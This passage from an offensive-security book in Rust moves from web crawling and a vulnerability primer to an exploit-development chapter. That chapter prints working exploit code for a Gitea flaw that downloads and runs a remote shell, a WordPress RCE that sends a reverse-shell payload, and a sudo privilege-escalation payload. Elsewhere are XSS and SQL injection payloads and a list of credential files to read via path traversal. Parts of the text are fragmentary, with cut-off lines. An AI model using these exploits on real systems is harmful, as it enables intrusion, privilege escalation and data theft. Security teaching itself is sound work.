pub struct GitHubItem {
login: String,
id: u64,
node_id: String,
html_url: String,
avatar_url: String,
}
As our crawler won’t make tons of requests, we don’t need to use a token to
authenticate to Github’s API, but we need to setup some headers, otherwise
our requests will be blocked by the server.
Finally, we also need a regexp, as a quick and dirty way to find next page to
crawl:
pub struct GitHubSpider {
http_client: Client,
page_regex: Regex,
expected_number_of_results: usize,
}
impl GitHubSpider {
pub fn new() -> Self {
let http_timeout = Duration::from_secs(6);
let mut headers = header::HeaderMap::new();
headers.insert(
"Accept",
header::HeaderValue::from_static("application/vnd.github.v3+json"),
);
125
)
.build()
.expect("spiders/github: Building HTTP client");
GitHubSpider {
http_client,
page_regex,
expected_number_of_results: 100,
}
}
}
Extracting the item is just a matter of parsing the JSON, which is easy
thanks to reqwest which provides the json method.
Here the only trick, is find the next URL to visit. For that, we use the
regex compiled above, and capture the current page number, for example in
...&page=2 we capture 2 . Then we parse this String into a number,
increment this number, and replace the original URL with the new number,
thus the new URL would be ...&page=3 .
If the API don’t return the expect number of results (which is configured
with the per_page query parameter), then it means that we are at the
last page of results, so there is no more page to crawl.
ch_05/crawler/src/spiders/github.rs
async fn scrape(&self, url: String) -> Result<(Vec<GitHubItem>, Vec<String>), Error> {
let items: Vec<GitHubItem> = self.http_client.get(&url).send().await?.json().await?;
126
format!("&page={}", new_page_number).as_str(),
);
vec![next_url]
} else {
Vec::new()
};
Ok((items, next_pages_links))
}
127
Ok(QuotesSpider {
webdriver_client: Mutex::new(webdriver_client),
})
}
}
Fetching a web page with our headless browser can be achieved in two step:
- first we go to the URL - then we fetch the source
ch_05/crawler/src/spiders/quotes.rs
async fn scrape(&self, url: String) -> Result<(Vec<Self::Item>, Vec<String>), Error> {
let mut items = Vec::new();
let html = {
let mut webdriver = self.webdriver_client.lock().await;
webdriver.goto(&url).await?;
webdriver.source().await?
};
Once we have the rendered source of the page, we can scrape it like any other
HTML page:
let document = Document::from(html.as_str());
items.push(QuotesItem {
quote: quote_str,
author,
});
}
128
let next_pages_link = document
.select(
Class("pager")
.descendant(Class("next"))
.descendant(Name("a")),
)
.filter_map(|n| n.attr("href"))
.map(|url| self.normalize_url(url))
.collect::<Vec<String>>();
Ok((items, next_pages_link))
To run this spider, you first need to launch chromedriver in a first shell:
$ chromedriver --port=4444 --disable-dev-shm-usage
Then, in another shell, go to the git repository accompanying this book, in
ch_05/crawler/, and run:
$ cargo run -- run --spider quotes
129
For example, /trap/1 would lead to /trap/2 , which would lead to
/trap/3 …
You could also intentionally slow down these dummy pages:
function serve_page(req, res) {
if (bot_is_detected()) {
sleep(10 * time.Second)
return res.send_dummy_page();
}
}
A good trick to catch bad bots is to add these traps in the disallow section
of your robots.txt file.
130
9.20.3 Bad data
Finally, the last method is to defend against the root cause of why you are
being scraped in the first place: the data.
The idea is simple, if you are confident enough in your bot detection algorithm
(I think you shouldn’t) you can simply serve rotten and poisoned data to the
crawlers.
Another, more subtle approach, is to serve “tainted data”: data with embed-
ded markers that will allow you to identify and confront the scrapers.
131
9.21.3 Error handling and retries
9.21.4 Respecting robots.txt
• fetch robots.txt on start
• parse it
• for each queued URL, check if it matches a rule
9.22 Summary
• OSINT is repetitive and thus should be automated
• Use atomic types instead of integers or boolean wrapped by a mutex
132
Chapter 10
Finding vulnerabilities
133
vulnerabilities and exposures.
You can find the list of existing CVEs on the site https://www.cvedetails.com
(that we have scraped in the previous chapter).
CWE (Common Weakness Enumeration) is a community-developed list of
software and hardware weakness types.
You can find the list of CWEs online: https://cwe.mitre.org.
Thus, a CWE is a pattern that may leads to a CVE.
Not all vulnerabilities have a CVE ID associated, sometimes because the
person who found the vulnerability think it’s not worth the hassle, sometimes,
because they don’t want the vulnerability to be publicly disclosed.
134
10.5 Web vulnerabilities
I don’t think that toy examples of vulnerabilities teach anything. This is
why instead of crafting toy examples of vulnerabilities for the sole purpose
of this book and that you will never ever encounter in a real-world situation,
I’ve instead curated what I think is among the best writeups about finding
and exploiting vulnerabilities affecting real products.
(PS: I would love to hear your feedback about that)
10.6 Injections
Injections is a family of vulnerabilities where some malicious payloads can
be injected into the web application for various effects.
The root cause of all injections is the mishandling of programs
inputs.
What is an program input? * For a web application it is be the input fields of
a form. * For a VPN server it is the network packets. * For a wifi client, it is,
among other things, the name of the detected Wifi networks. * For an email
application, it is the emails and the attachements. * For a chat application it
is the messages, the names of the users and the media. * For a video player
it is the videos. * For a music player, the musics and their metadata. * For
a terminal, it is the input of the user and the output of the command-line
applications.
135
Figure 10.1: HTML injection
res.html(html);
}
136
Figure 10.2: SQL injection
res.html(html);
}
Which can be exploited with the following request:
GET https://target.com/comments?id=1 UNION SELECT * FROM users
137
10.8.1 Blind SQL injection
The prerequisite for a SQL injection vulnerability is that the website output
the result of the SQL query to the web page. Sometimes it’s not the case,
but there still is a vulnerability under the hood.
This is scenario is called a blind injection because we can’t see the result of
the injection.
Coming soon: explaination
You can learn how to exploit them here: https://portswigger.net/web-
security/sql-injection/blind
10.9 XSS
XSS (for Cross Site Scripting) injections are a kind of attack in which a
malicious script (JavaScript most of the time) is injected into a website.
If the number of SQL injections in the wild has reduced over time, the number
of XSS has, on the other hand, exploded in the past years, “thanks” to Single-
138
Figure 10.3: XSS
Page Applications (SPA) where a lot of the logic of web applications now lives
client-side.
For example, we have the following HTTP request:
POST /myform?lang=fr
Host: kerkour.com
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 35
{"username":"xyz","password":"xyz"}
How many potential injection points do you count?
Me, at least 4: * In the Url, lang the query parameter * The User-Agent
header * The username field * The password field
Those are all user-provided input, that may (or may not) be processed by
the web application, and if not conscientiously validated, result in a XSS
injection.
Here is an example of pseudo-code vulnerable to XSS injection:
139
function post_comment(req, res) {
let comment = req.body.comment;
res(comment);
}
There a 3 types of XSS: * Reflected XSS * Stored XSS * DOM-based XSS
140
10.9.2 Stored XSS
A stored XSS is an injection that exists beyond the lifetime of the request. It
is stored by the server of the web application and served in future requests.
For example, a comment on a blog.
They are mostly found in form data and HTTP headers.
For example:
POST /myform
Host: kerkour.com
User-Agent: <script>alert(1)</script>
Accept: */*
Content-Type: application/json
Content-Length: 35
{"comment":"<script>alert(1)</script>"}
Once stored by the server, the payload will be served to potentially many
victims.
A kind of stored XSS that is often overlooked by developers is within SVG
files. Yes, SVG files can execute <script> blocks.
Here is an example of such a malicious file:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
141
10.9.3 DOM-based XSS
A Dom-based XSS is an XSS injection where the paylaod is not returned by
the server, but instead executed directly by the browser, by modifying the
DOM.
Most of the time, the entrypoint of DOM-based XSS is an URL such as:
<script>
document.write('...' + window.location + '...');
</script>
142
attacker is also able to read the response of the request.
143
tication. I don’t need to write a roman for you to understand how much it
can be bad.
144
$current_user = $_COOKIE["id"];
$role = $_POST["role"];
$username = $_POST["username"];
if (is_admin($current_user)) {
set_role($role, $username);
}
145
10.11.2 Case studies
• TikTok Careers Portal Account Takeover
• Account takeover just through csrf
146
10.12.1 Why it’s bad
The most evident use of this kind of vulnerability is phishing, as a victim
may think to have clicked on a legitimate link, but finally land on the evil
one.
Let say you have a web application on Heroku (a cloud provider). To point
your own domain to the app you will have to setup something like a CNAME
DNS record pointing to myapp.herokuapp.com . Time flies, and you totally
147
forget that this DNS record exists and decide to delete your Heroku app. Now
the domain name myapp.herokuapp.com is again available for anybody
wanting to create an app with such a name. So, if a malicious user creates a
Heroku application with the name myapp , it will be able to serve content
from your own domain as it still pointing to myapp.herokuapp.com .
We took the example of an Heroku application, but there are a lot of scenarios
where such a situation may happens: * A floating IP from a public cloud
provider such as AWS * A blog at almost all SaaS blogging platform * a
CDN * a S3 bucket
148
Figure 10.8: Arbitrary file read
res(asset_content);
}
It can be exploited like this:
https://example.com/assets/../etc/passwd
See the trick? Instead of sending a legitimate asset_id , we instead send
the path of a sensible file.
As everything is a file on Unix-like systems, secret information such as
database crendentials, encryption keys, SSH keys, may be somewhere on
the filesystem. Any attacker able to read those files may quickly be able
inflict to a vulnerable application a lot of damages.
Here are some example of files whose content may be of interest:
/etc/passwd
/etc/shadow
149
/proc/self/environ
/etc/hosts
/etc/resolv.conf
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat
/proc/swaps
/proc/version
~/.bash_history
~/.bashrc
~/.ssh/authorized_keys
~/.ssh/id_dsa
150
Figure 10.9: Denial of Service
151
Figure 10.10: Distributed Denial of Service
res(ok);
}
152
Figure 10.11: Arbitrary file write
153
Figure 10.12: Overflowing a buffer
return copy;
}
How does Rust prevent this kind of vulnerability? It has buffer boundaries
checks and will panic if you try to fill a buffer with more data than its size.
154
10.19 Use after free
An use after free bug, as the name indicates is when a program reuse memory
that already has been freed.
It will mess with the memory allocator’s state and lead to undefined behavior.
Here is an example of pseudo-code vulnerable to use after free:
function allocate_foobar() []char {
let foobar = malloc([]char, 1000);
}
function main() {
let foobar = allocate_foobar();
use_foobar(foobar);
// do something else
// ...
155
tion but also to remote code execution if an important pointer is overwritten.
From an attacker point of view, use after free vulnerabilities are not that
reliable due to the nature of memory allocators which are not deterministic.
function main() {
let foobar = allocate_foobar();
use_foobar(foobar);
156
it can be exploited to produce code execution, but it’s in practice really hard
to achieve.
157
Figure 10.13: Remote Code Execution
158
10.24 Integer overflow (and underflow)
A integer overflow vulnerability occurs when an arithmetic operation at-
tempts to create a numeric value that is outside of the range that can be
held by a number variable.
For example, a uint8 ( u8 in Rust) variable can hold values between 0
and 255 because it is encoded on 8 bits.
Here is an example of pseudo-code vulnerable to integer overflow:
function withdraw(user id, amount int32) {
let balance = find_balance(user);
159
in release mode ( cargo build --release or cargo run --release ),
Rust will not panic. Instead it performs two’s complement wrapping: the
program won’t crash but the variable will hold an invalid value.
let x: u8 = 255;
160
10.25.1 Case studies
• Availing Zomato gold by using a random third-party wallet_id
• OLO Total price manipulation using negative quantities
161
10.28 Bug hunting
Now we have a idea of what looks like a vulnerability, let see how to find
them in the real world.
There are some recurrent patterns that should raise your curiosity when
hunting for vulnerabilities.
162
10.28.5 Dangerous / deprecated algorithms
Some dangerous and deprecated algorithms such as md5 are still used in
the wild. If you are auditing an application with access to the source code,
a simple rg -i md5 suffices (using ripgrep).
163
10.28.9 Complex format parsing
Parsing complex formats such as YAML is hard. This is why there are a
lot of bugs that are found in parsing libraries. Sometimes, theses bugs are
actual vulnerabilities.
Most of the time, those are memory-related vulnerability, either due to the
complexity of the format, either because developers often try to be clever
when implementing parsers to be at the first position in micro-benchmarks
and they use some tricks that introduce bugs and vulnerabilities.
10.29.1 Web
There are only 4 tools required to start web vulnerabilities hunting:
164
My 3 favorite options are:
To inspect the headers of a site:
$ curl -I https://target.com
To download a file for further inspection:
$ curl -O https://target.com/file.html
And to POST JSON data
curl --header "Content-Type: application/json" \
--request POST \
--data '{"username":"<script>alert(1)</script>","password":"xxx"}' \
http://target.com/api/register
10.29.4 A scanner
You get it! A scanner is what we built in the previous chapters.
Scanners can’t replace the chirurgical precision of the brain of a hacker. Their
purpose is to save you time by automating the repetitive and fastidious tasks.
Beware that a scanner, depending of the modules you enable, may be noisy
and reveal your intentions. Due to their bruteforce nature, they are easy to
detect, and sometimes block by firewalls. Thus, if you prefer to stay under
the radar, be careful which options you enable with your scanner.
165
Burp Suite also provide of lot of features to automate your requests and
attacks.
If this is your very first steps hacking web applications, you don’t necessarily
need an intercepting proxy, the developers tools of your web browser may
suffice. That being said, it still great to quickly learn how to use one, as you
will be quickly limited when you will want to intercept and modify requests.
166
Warning: This is absolutely not an idiomatic piece of Rust, and this style
of code should be avoided at all costs.
ch_06/fuzzing/src/lib.rs
pub fn vulnerable_memcopy(dest: &mut [u8], src: &[u8], n: usize) {
let mut i = 0;
while i < n {
dest[i] = src[i];
i += 1;
}
}
[package.metadata]
cargo-fuzz = true
[dependencies]
libfuzzer-sys = "0.4"
arbitrary = { version = "1", features = ["derive"] }
[dependencies.fuzzing]
path = ".."
167
[[bin]]
name = "fuzz_target_1"
path = "fuzz_targets/fuzz_target_1.rs"
test = false
doc = false
fuzz_target!(|data: MemcopyInput| {
let mut data = data.clone();
fuzzing::vulnerable_memcopy(&mut data.dest, &data.src, data.n);
});
168
thread '<unnamed>' panicked at 'index out of bounds: the len is 0 but the index is
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
==17780== ERROR: libFuzzer: deadly signal
#0 0x55f3841d6f71 in __sanitizer_print_stack_trace /rustc/llvm/src/llvm-projec
#1 0x55f384231330 in fuzzer::PrintStackTrace() (black-hat-rust/ch_06/fuzzing/f
#2 0x55f38421635a in fuzzer::Fuzzer::CrashCallback() (black-hat-rust/ch_06/fuz
#3 0x7f8e4cf513bf (/lib/x86_64-linux-gnu/libpthread.so.0+0x153bf)
#4 0x7f8e4cc3918a in __libc_signal_restore_set /build/glibc-eX1tMB/glibc-2.31/
#5 0x7f8e4cc3918a in raise /build/glibc-eX1tMB/glibc-2.31/signal/../sysdeps/un
#6 0x7f8e4cc18858 in abort /build/glibc-eX1tMB/glibc-2.31/stdlib/abort.c:79:7
#7 0x55f3842c4e66 in std::sys::unix::abort_internal::h9865c53aadae86d4 /rustc/
#8 0x55f3841506c5 in std::process::abort::h00c3bea575e29bb8 /rustc/af140757b4c
#9 0x55f3842137bb in libfuzzer_sys::initialize::_$u7b$$u7b$closure$u7d$$u7d$::
#10 0x55f3842b81a8 in std::panicking::rust_panic_with_hook::hbef17e4338d7de57
#11 0x55f3842b7c5f in std::panicking::begin_panic_handler::_$u7b$$u7b$closure$
#12 0x55f3842b4903 in std::sys_common::backtrace::__rust_end_short_backtrace::
#13 0x55f3842b7bc8 in rust_begin_unwind /rustc/af140757b4cb1a60d107c690720311b
#14 0x55f384151990 in core::panicking::panic_fmt::hcf5f6d96e1dd7099 /rustc/af1
#15 0x55f384151951 in core::panicking::panic_bounds_check::hc3a71010bf41c72d /
#16 0x55f38420f589 in fuzzing::vulnerable_memcopy::h3027e716c4e41fac (black-ha
#17 0x55f38420eba3 in rust_fuzzer_test_input (black-hat-rust/ch_06/fuzzing/fuz
#18 0x55f3842138f8 in __rust_try (black-hat-rust/ch_06/fuzzing/fuzz/target/x86
#19 0x55f38421305f in LLVMFuzzerTestOneInput (black-hat-rust/ch_06/fuzzing/fuz
#20 0x55f38421689c in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, un
#21 0x55f384220453 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned lo
#22 0x55f384221214 in fuzzer::Fuzzer::MutateAndTestOne() (black-hat-rust/ch_06
#23 0x55f3842236e7 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, fuzz
#24 0x55f384243be9 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned cha
#25 0x55f3841521e6 in main (black-hat-rust/ch_06/fuzzing/fuzz/target/x86_64-un
#26 0x7f8e4cc1a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../
#27 0x55f38415234d in _start (black-hat-rust/ch_06/fuzzing/fuzz/target/x86_64-
169
artifact_prefix='black-hat-rust/ch_06/fuzzing/fuzz/artifacts/fuzz_target_1/'; Test
Base64: xcXFxcXFxcXF5cXFSkpKSkpKSsUwxcXFGg==
��������������������������������������������������������������������������������
Failing input:
black-hat-rust/ch_06/fuzzing/fuzz/artifacts/fuzz_target_1/crash-2347beb104
Output of `std::fmt::Debug`:
MemcopyInput {
dest: [
197,
197,
197,
197,
229,
197,
],
src: [],
n: 14209073747218549322,
}
Reproduce with:
��������������������������������������������������������������������������������
170
10.30.1.3 To learn more
To learn more about fuzzing, take a look at the Rust Fuzz Book and the post
What is Fuzz Testing? by Andrei Serban.
10.31 Summary
• It takes years to be good at hunting vulnerabilities, whether it be mem-
ory or web. Pick one domain, and hack, hack, hack to level up your
skills. You can’t be good at both in a few weeks.
• Always validate input coming from users. Almost all vulnera-
bilities come from insufficient input validation. Yes, it’s boring, but
less than the day you will be hacked and all the data of your business
leaked.
• Always validate untrusted input.
• Always check input.
171
Chapter 11
Exploit development
172
hyper if you need a low-level HTTP server or client.
tokio for you TCP and HTTP servers/clients.
goblin if you need to read or modify executable files (PE, elf, mach-o).
11.3 CVE-2017-9506
#[async_trait]
impl HttpModule for Cve2017_9506 {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!(
"{}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com/robots.txt",
&endpoint
);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
11.4 CVE-2018-7600
#[async_trait]
impl HttpModule for Cve2018_7600 {
async fn scan(
&self,
173
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let token = "08d15a4aef553492d8971cdd5198f31408d15a4aef553492d8971cdd5198f314";
let form = [
("form_id", "user_pass"),
("_triggering_element_name", "name"),
];
let query_params = [
("name[#type]", "markup"),
("name[#markup]", &(token.clone())),
("name[#post_render][]", "printf"),
("q", "user/password"),
];
if body.contains(&token) {
return Ok(Some(HttpFinding::Cve2018_7600(url)));
}
}
174
}
Ok(None)
}
}
11.5 CVE-2019-11229
use actix_files::Files;
use actix_web::{App, HttpServer};
use anyhow::Result;
use cookie::Cookie;
use rand::distributions::Alphanumeric;
use rand::{thread_rng, Rng};
use regex::Regex;
use reqwest::{cookie::CookieStore, cookie::Jar, Client};
use std::sync::Arc;
use std::{iter, path::Path};
use std::{process::exit, time::Duration};
use tokio::process::Command;
use url::Url;
#[tokio::main]
async fn main() -> Result<()> {
let username = "test";
let password = "password123";
let host_addr = "192.168.1.1";
let host_port: u16 = 3000;
let taregt_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string();
let cmd =
"wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell"
println!("Logging in");
175
let body1 = [("user_name", username), ("password", password)];
let url1 = format!("{}/user/login", taregt_url);
let res1 = http_client.post(url1).form(&body1).send().await?;
if res1.status().as_u16() != 200 {
println!("Login unsuccessful");
exit(1);
}
println!("Logged in successfully");
let regexp_res2 =
Regex::new(r#"<meta name="_uid" content="(.+)" />"#).expect("compiling regexp_res2");
let body_res2 = res2.text().await?;
let user_id = regexp_res2
.captures_iter(&body_res2)
.filter_map(|captures| captures.get(0))
.map(|captured| captured.as_str().to_string())
.collect::<Vec<String>>()
.remove(0);
// here we use an sync function in an aync function, but it's okay as we are developing an e
// is required
let git_temp = tempfile::tempdir()?;
176
.path()
.to_str()
.expect("converting git_temp_path to &str");
let git_temp_repo = format!("{}.git", git_temp_path_str);
exec_command(
"git",
&["clone", "--bare", git_temp_path_str, git_temp_repo.as_str()],
git_temp.path(),
)
.await?;
tokio::task::spawn_blocking(move || {
println!("Starting HTTP server");
// see here for how to run actix-web in a tokio runtime https://github.com/actix/actix-w
let actix_system = actix_web::rt::System::with_tokio_rt(|| {
tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()
.expect("building actix's web runtime")
});
actix_system.block_on(async move {
HttpServer::new(move || {
App::new().service(Files::new("/static", ".").prefer_utf8(true))
})
.bind(endpoint)
.expect("binding http server")
.run()
.await
.expect("running http server")
});
});
// handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
// socketserver.TCPServer.allow_reuse_address = True
// httpd = socketserver.TCPServer(("", HOST_PORT), handler)
// t = threading.Thread(target=httpd.serve_forever)
// t.start()
// print('Created temporary git server to host {}.git'.format(gitTemp))
177
println!("Creating repository");
let mut rng = thread_rng();
let repo_name: String = iter::repeat(())
.map(|()| rng.sample(Alphanumeric))
.map(char::from)
.take(8)
.collect();
178
("interval", "8h0m0s"),
];
let res4 = http_client
.post(format!(
"{}/{}/{}/settings",
taregt_url, &username, &repo_name
))
.form(&body4)
.send()
.await?;
if res4.status().as_u16() != 200 {
println!("Error injecting command");
exit(1);
}
println!("Command injected");
println!("Triggering command");
let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
let body5 = [("_csrf", csrf_token.as_str()), ("action", "mirror-sync")];
let res5 = http_client
.post(format!(
"{}/{}/{}/settings",
taregt_url, &username, &repo_name
))
.form(&body5)
.send()
.await?;
if res5.status().as_u16() != 200 {
println!("Error triggering command");
exit(1);
}
println!("Command triggered");
Ok(())
}
179
.into_iter()
.map(|cookie| cookie.trim())
.filter_map(|cookie| Cookie::parse(cookie).ok())
.filter(|cookie| cookie.name() == "_csrf")
.next()
.ok_or(anyhow::anyhow!("getting csrf cookie from store"))?;
Ok(csrf_cookie.value().to_string())
}
async fn exec_command(program: &str, args: &[&str], working_dir: impl AsRef<Path>) -> Result<()>
Command::new(program)
.args(args)
.current_dir(working_dir)
.spawn()?
.wait()
.await?;
Ok(())
}
11.6 CVE-2019-89242
use anyhow::{anyhow, Result};
use regex::Regex;
use reqwest::blocking::multipart;
use reqwest::blocking::Client;
use std::time::Duration;
use std::{env, process::exit};
if args.len() != 5 {
println!(
"Usage:
wordpress_image_rce <http://[IP]:[PORT]/> <Username> <Password> <WordPress_theme>"
);
exit(1);
}
180
let http_client = Client::builder()
.timeout(http_timeout)
.cookie_store(true)
.build()?;
if res1.status().as_u16() == 200 {
println!("[+] Login successful.");
} else {
return Err(anyhow!("[-] Failed to login."));
}
181
if wp_nonce_list.len() == 0 {
println!("[-] Failed to retrieve the _wpnonce");
exit(1);
}
println!(
"[+] Wp Nonce retrieved successfully ! _wpnonce : {}",
&wp_nonce
);
182
.expect("res3: Missing wp_nonce");
let body4 = [
("_wpnonce", wp_nonce.clone()),
("action", "editpost".to_string()),
("post_ID", image_id.clone()),
(
"meta_input[_wp_attached_file]",
format!(
"{}{}?/../../../../themes/{}/rahali",
&date, &image_name, &wp_theme
),
),
];
let url4 = format!("{}/wp-admin/post.php", &base_url);
let res4 = http_client.post(url4).form(&body4).send()?;
if res4.status().as_u16() == 200 {
println!("[+] Path has been changed successfully.");
} else {
println!("[-] Failed to change the path ! Make sure the theme is correcte .");
exit(0);
}
let body5 = [
("action", "query-attachments"),
("post_id", "0"),
("query[item]", "43"),
("query[orderby]", "date"),
("query[order]", "DESC"),
("query[posts_per_page]", "40"),
("query[paged]", "1"),
];
let regexp_res5 = Regex::new(r#","edit":"(\w+)""#).expect("compiling regexp_res5");
let res5 = http_client
.post(format!("{}/wp-admin/admin-ajax.php", &base_url))
.form(&body5)
.send()?;
let res5_status = res5.status().as_u16();
let body_res5 = res5.text()?;
183
let mut ajax_nonce_list: Vec<String> = regexp_res5
.captures_iter(&body_res5)
.filter_map(|cap| cap.get(0))
.map(|ajax_nonce| ajax_nonce.as_str().to_string())
.collect();
println!(
"[+] Ajax Nonce retrieved successfully ! ajax_nonce : {}",
&ajax_nonce
);
let body6 = [
("action", "crop-image"),
("_ajax_nonce", &ajax_nonce),
("id", &image_id),
("cropDetails[x1]", "0"),
("cropDetails[y1]", "0"),
("cropDetails[width]", "200"),
("cropDetails[height]", "100"),
("cropDetails[dst_width]", "200"),
("cropDetails[dst_height],", "100"),
];
let res6 = http_client
.post(format!("{}/wp-admin/admin-ajax.php", &base_url))
.form(&body6)
.send()?;
if res6.status().as_u16() == 200 {
println!("[+] Done .");
} else {
println!("[-] Erorr ! Try again");
exit(0);
}
184
let res7 = http_client
.post(format!("{}/wp-admin/post-new.php", &base_url))
.send()?;
if res7.status().as_u16() != 200 {
println!("[-] Erorr ! Try again");
exit(1);
}
let body8 = [
("_wpnonce", wp_nonce.as_str()),
("action", "editpost"),
("post_ID", post_id.as_str()),
("post_title", "RCE poc by skerkour"),
("post_name", "RCE poc by skerkour"),
("meta_input[_wp_page_template]", "cropped-rahali.jpg"),
];
let res8 = http_client
.post(format!("{}/wp-admin/post.php", &base_url))
.form(&body8)
.send()?;
if res8.status().is_success() {
println!("[+] POC is ready at : {}?p={}&0=id", &base_url, &post_id);
println!("[+] Executing payload !");
http_client.get(format!("{}?p={}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%
} else {
println!("[-] Erorr ! Try again (maybe change the payload)");
185
exit(1)
}
Ok(())
}
11.7 CVE-2021-3156
ch_07/exploits/cve_2021_3156/payload/src/lib.rs
#![no_std]
#![feature(asm)]
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
186
let ret: u64;
asm!(
"syscall",
in("rax") scnum,
in("rdi") arg1,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
options(nostack),
);
ret
}
unsafe fn syscall3(scnum: u64, arg1: u64, arg2: u64, arg3: u64) -> u64 {
let ret: u64;
asm!(
"syscall",
in("rax") scnum,
in("rdi") arg1,
in("rsi") arg2,
in("rdx") arg3,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
options(nostack),
);
ret
}
#[link_section = ".init_array"]
pub static INIT: unsafe extern "C" fn() = rust_init;
syscall1(SYS_SETUID, 0);
syscall1(SYS_SETGID, 0);
187
if syscall0(SYS_GETUID) == 0 {
let message = "[+] We are root!\n";
syscall3(
SYS_WRITE,
STDOUT,
message.as_ptr() as u64,
message.len() as u64,
);
syscall1(SYS_EXIT, 0);
}
ch_07/exploits/cve_2021_3156/loader/src/main.rs
// A simple program to load a dynamic library, and thus test
// that the rust_init function is called
fn main() {
let lib_path = "./libnss_x/x.so.2";
unsafe {
libc::dlopen(lib_path.as_ptr() as *const i8, libc::RTLD_LAZY);
}
}
ch_07/exploits/cve_2021_3156/exploit/src/main.rs
use std::ffi::CString;
use std::os::raw::c_char;
fn main() {
let args = ["sudoedit", "-A", "-s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
let args: Vec<*mut c_char> = args
.iter()
188
.map(|e| CString::new(*e).expect("building CString").into_raw())
.collect();
let args: &[*mut c_char] = args.as_ref();
unsafe {
libc::execve(
"/usr/bin/sudoedit".as_ptr() as *const i8,
args.as_ptr() as *const *const i8,
env.as_ptr() as *const *const i8,
);
}
// Command::new("printenv")
// .stdin(Stdio::null())
// .stdout(Stdio::inherit())
// .env_clear()
// .envs(&env)
// // .args(args.iter())
// .spawn()
// .expect("running printenv");
}
ch_07/exploits/cve_2021_3156/README.md
$ make payload
$ make exploit
$ docker run --rm -ti -v `pwd`:/exploit ubuntu:20.04
apt update && apt install sudo=1.8.31-1ubuntu1
adduser \
--disabled-password \
--gecos "" \
189
--shell "/bin/bash" \
"bhr"
su bhr
cd /exploit
./rust_exploit
Coming soon: Explaination
11.7.1 libc
Coming soon
11.8 Summary
Coming soon
190
Chapter 12
Because my first computer had only 1GB of RAM (an Asus EeePC), my
hobbies were very low-level and non-resources intensive.
One of those hobbies was crafting shellcodes. Not for offensive hacking or
whatever, but just for the art of writing x86 assembly. You can spend an enor-
mous amount of time crafting shellcodes: ASCII shellcodes (shellcodes where
the final hexadecimal representation is comprised of only bytes contained in
the ASCII table), polymorphic shellcodes (shellcodes that can re-write them-
selves and thus reduce detection and slow reverse engineering…). Like poesy,
your imagination is the limit.
191
You don’t understand? Normal, this hex representation is of no help.
But, by writing it to a file:
$ echo '488d35140000006a01586a0c5a4889c70f056a3c5831ff0f05ebfe68656c6c6f20776f726c
and disassembling it:
$ objdump -D -b binary -mi386 -Mx86-64 -Mintel shellcode.bin
00000000 <.data>:
0: 48 8d 35 14 00 00 00 lea rsi,[rip+0x14] # 0x1b
7: 6a 01 push 0x1
9: 58 pop rax
a: 6a 0c push 0xc
c: 5a pop rdx
d: 48 89 c7 mov rdi,rax
10: 0f 05 syscall # <- write(1, "hello world\n", 1
12: 6a 3c push 0x3c
14: 58 pop rax
15: 31 ff xor edi,edi
17: 0f 05 syscall # <- exit
19: eb fe jmp 0x19
1b: 68 65 6c 6c 6f push 0x6f6c6c65 # <- hello world\n
20: 20 77 6f and BYTE PTR [rdi+0x6f],dh
23: 72 6c jb 0x91
25: 64 fs
26: 0a .byte 0xa
it reveals an actual piece of code, that is basically doing:
write(STOUDT, "hello world\n", 12);
exit(0);
192
12.2 Sections of an executable
193
Figure 12.2: Rust compilation stages
is turned into and Abstract Syntax Tree (AST), macro are expanded into
actual code, and the final AST is validated.
Analysis: The second step is to proceed to type inference, trait solving and
type checking. Then, the AST the AST (actually an High-Level Intermediate
Representation (HIR), which is more compiler-friendly) is turned into Mid-
Level Intermediate Representation (MIR) in order to do borrow checking.
Then, Rust code is analysed for optimizations and monomorphized (remem-
ber generics? It means making copies of all the generic code with the type
parameters replaced by concrete types).
Optimization and Code generation: This is where LLVM intervenes:
the MIR is converted into LLVM Intermediate Representation (LLVM IR),
and LLVM proceed to more optimization on it, and finally emits machine
code (ELF object or wasm).
linking: Finally, all the objects files are assembled into the final executable
thanks to a linker. If link-time optimizations is enabled, some more optimiza-
tions are done.
194
12.4 no_std
By default, Rust assumes support for various features from the Operating
System: threads, a memory allocator (for heap allocations), networking and
so on…
There are systems that do not provide these features, or times where you
don’t need all the features provided by the standard library and need to
craft a binary as small as possible.
This is where the #![no_std] attribute comes into play. Simply put it at
